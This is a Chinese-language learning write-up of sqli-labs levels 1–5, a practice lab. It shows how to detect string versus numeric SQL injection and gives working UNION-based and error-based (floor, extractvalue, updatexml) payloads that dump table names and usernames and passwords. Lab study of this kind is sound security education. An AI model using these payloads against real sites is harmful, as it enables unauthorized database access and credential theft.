通过sqlilabs简单分析里面的一些函数的使用等,记录学习。
SQL注入原理
SQL注入是指没有对用户输入的数据进行过滤,使得用户的语句可以直接与数据库进行交互
危害
导致机密信息(如用户名、密码等)泄露、修改等
分类
SQL注入的常见注入点为:GET、POST、PUT、cookie、XFF等
less1的为典型的GET注入
根据参数类型又可分为数字型注入和字符型注入
less1
判断类型
?id=1 and 1=2 如果是数字型注入的话应该回显异常
id=1‘
报错为
You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near ‘‘1’’ LIMIT 0,1’ at line 1
?id=1’ and ‘1’=‘1 正常
可知为字符型注入
字符型注入判断一般使用:单引号’,双引号",左括号(,右括号)等
id=1' and '1'='1
id=1' or '1'='1
分析后台语句构造payload
另外从报错中可知:
主要语句为’‘1’’ LIMIT 0,1’ ,这里去掉最外边的的单引号则为’1’’ limit 0,1 其中1后面的单引号是我们加的参数
所以猜测大概数据库的语句为
select * from xxx where id='xxx' limit 0,1
那么我们构造的语句可以是
order by :查询注入点网页的字段数
select * from xxx where id='1' order by 3%23' limit 0,1
%23注释掉后面的limit 0,1,所以payload为1‘ order by 3
也可使用-- (–空格)注释,但由于–后面的空格经常被忽略所以一般使用–%20进行注释
另外还有一种查询方式,构造语句为
select * from xxx where id='1' order by 3,'1' limit 0,1
payload即为id=1’ order by 3,'1
这里使用的是id=1’ and ‘1’='1方式进行闭合
查字段
?id=1’ order by 4%23报错,可知为三个字段
?id=1’ union select 1,2,3%23 用来判断回显点,但无变化
union用于合并两个或者多个select语句的结果集
因为我们这里查询的是多条数据,所以使用union
判断回显点
将select前面的换为假,即可查出多条数据
或者更换payload
?id=1’ union select 1,2,3 order by 1, '1
这时数据库语句为
select * from xxx where id='1' union select 1,2,3 order by 1,'1' limit 0,1
主要是为了闭合掉单引号
可知注入点为2,3
查看数据库名和版本
数据库名:database()
数据库版本:@@version、version()
查表名
?id=1' and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()%23
group_concat:分组拼接函数,联合数据,可以把多条数据一次性注出来 information_schema:提供当前所有数据库信息
information_schema.tables:提供了数据库中表的信息
table_schema:保存的数据库名
PS:这里可以直接使用database()代替前面查到的数据库名“security”
查字段
?id=1' and 1=2 union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'%23
information_schema.columns:提供数据库中字段信息
查数据
?id=1' and 1=2 union select 1,2,group_concat(username,password) from users%23
也可分别查询
?id=1' and 1=2 union select 1,group_concat(concat_ws(':',id,username,password)),3 from users%23
concat_ws:使用指定的字符来连接两个字符,例如:concat_ws(’-’,‘123’,‘a’)就会得到结果123-a。
less2
单引号报错
报错:’ limit 0,1
推断出数据库语句:
select * from xxx where id=input
%23 --%20闭合均报错,可知不是字符型注入
?id=1 and 1=1 正常
?id=1 and 1=2 回显异常
判断数字型注入:
step1: ?id=1' 报错
step2: ?id=1 and 1=1 正常
step3: ?id=1 and 1=2 回显异常(不代表有报错)
less3
?id=1’
根据报错猜测数据库语句为
select * from xxx where id=('$id') limit 0,1
构造payload为:
?id=1') %23
less4
?id=1"
报错为:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
关键信息:
"1"") LIMIT 0,1
猜测数据库语句为
select * from xxx where id=("$id") limit 0,1
构造payload为:
?id=1")%23
less5
?id=1’
根据报错猜测数据库语句为
select * from xxx where id='$id' limit 0,1
?id=1’ union select 1,2,3%23
报错但无回显点
报错注入:
定义:
报错注入就是通过页面爆出的错误信息,构造合适的语句来获取我们想要的数据
那么报错注入是怎么形成的呢?
危害:
1、应用系统未关闭数据库报错函数,对于一些SQL语句的错误,直接回显在了页面上,部分甚至直接泄露数据库名和表名;
/2、后台未对MySQL相应的报错函数进行过滤
主要函数
floor
floor函数的作用是返回小于等于该值的最大整数,也可以理解为向下取整,只保留整数部分
' union select 1,count(*),concat(0x3a,0x3a,(payload),0x3a,0x3a,floor(rand(0)*2))a from information_schema.tables group by a%23
例如
?id=1’ union select 1,count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=“security” limit 3,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.tables group by a%23
extractvalue()
对XML文档进行查询的函数 语法:extractvalue(目标xml文档,xml路径) 第二个参数
xml中的位置是可操作的地方,xml文档中查找字符位置是用
/xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
select * from users where username=' ' and extractvalue(1,concat(':',
> database() )) and ' '
查询表
database()替换为
(select group_concat(table_name) from information_schema.tables where table_schema=database() )
updatexml()
updatexml()函数与extractvalue()类似,是更新xml文档的函数。
语法updatexml(目标xml文档,xml路径,更新的内容) 1’ and
1=(updatexml(1,concat(0x3a,(select database())),1)) and '
查询表
database()替换为
group_concat(table_name) from information_schema.tables where table_schema=database()
我们这里使用updataxml函数
?id=1’ and updatexml(1,concat(0x7e,database(),0x7e),1)%23
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23
接下来就是重复步骤了
写在后面:菜是原罪